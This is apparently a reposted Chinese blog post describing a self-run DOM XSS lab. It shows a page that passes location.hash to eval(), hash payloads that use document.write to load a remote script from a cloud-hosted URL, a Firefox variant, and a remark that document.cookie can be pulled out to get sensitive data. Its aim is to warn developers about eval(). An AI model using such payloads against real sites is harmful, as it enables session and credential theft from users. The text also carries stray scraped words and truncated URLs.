記一次簡單的DOM XSS攻擊實驗

以前就對XSS有所耳聞,不過昨天在學習《深刻淺出nodejs》過程當中,才深刻了解到XSS攻擊的原理,因而找到那本很早就想看的《web前端黑客技術解密》,找到 跨站攻擊腳本XSS 章節,因而有了下面這個簡單的XSS攻擊實驗。javascript

index.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>XSSdemo</title>
</head>
<script>
    eval(location.hash.substr(1))
</script>
<body>
    
</body>
</html>

關鍵代碼:eval(location.hash.substr(1))html

xss.js(XSS攻擊腳本,存儲在七牛雲上:http://ov6jc8fwp.bkt.clouddn....

alert("你的網站被XSS攻擊了!")

關鍵代碼:alert("你的網站被XSS攻擊了!")
Cookie被常常看成輸入點,可使用escape(document.cookie)來獲取用戶Cookie中保存的敏感信息,例如電話號碼,密碼等等。前端

如何進行攻擊?

待訪問文件xss.html的url上加上hash值。
#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")java

例如:
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")node

在真實環境中,這段file:///C:/Users/jack/Desktop/XSSdemo/能夠是http://192.168.32.89:80/,http://192.16.32.89:8080/等真實地址。
完整形式如:http://192.16.32.89:8080/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")web

能夠攻擊Chrome嗎?

在Chrome中輸入瀏覽器

file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")安全

會被Chrome攔截,攔截截圖以下:cookie

爲何會被攔截?
由於Chrome 的filter防護機制會致使這個沒法成功,其它瀏覽器能夠被攻擊。前端工程師

那麼如何攻擊FireFox呢?

(瀏覽器版本爲Firefox 57.0 Quantum版)
須要對原始攻擊代碼作下簡單調整。
eval(decodeURI(location.hash.substr(1)))
相應的訪問連接也更改成file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

XSS攻擊FireFox成功!

能夠看到,XSS腳本被成功寫入到index.html

IE能夠被攻擊嗎?

(瀏覽器版本爲IE11.726.15063.0 )
XSS攻擊IE11成功!

攻擊了這麼久,難道我是要去綠,哦不,黑別人嗎?
NoNoNo,我是爲了讓本身的網站更加安全。

以前有了解到javascript的eval()會有安全問題,經過今天的例子,才明白eval()原來會幫助 XSS攻擊輸入點代碼進行攻擊,例如:
本例中的輸入點爲location.hash.substr(1),其值爲'document.write(<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")'

本質上eval(decodeURI(location.hash.substr(1)))
其實就是執行了eval'(document.write(`<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")')

簡單來講,eval()會執行XSS跨站攻擊腳本,前端工程師在開發過程當中要注意eval()使用存在的安全隱患。

對於瀏覽器喜好程度,我想Chrome在防護XSS攻擊方面又爲本身加了很多分,之後強推Chrome又多了一個理由。

其實關於XSS攻擊還有不少學問在其中,我所瞭解到的只是冰山一角,後續再繼續探索!

That's it !

相關文章
相關標籤/搜索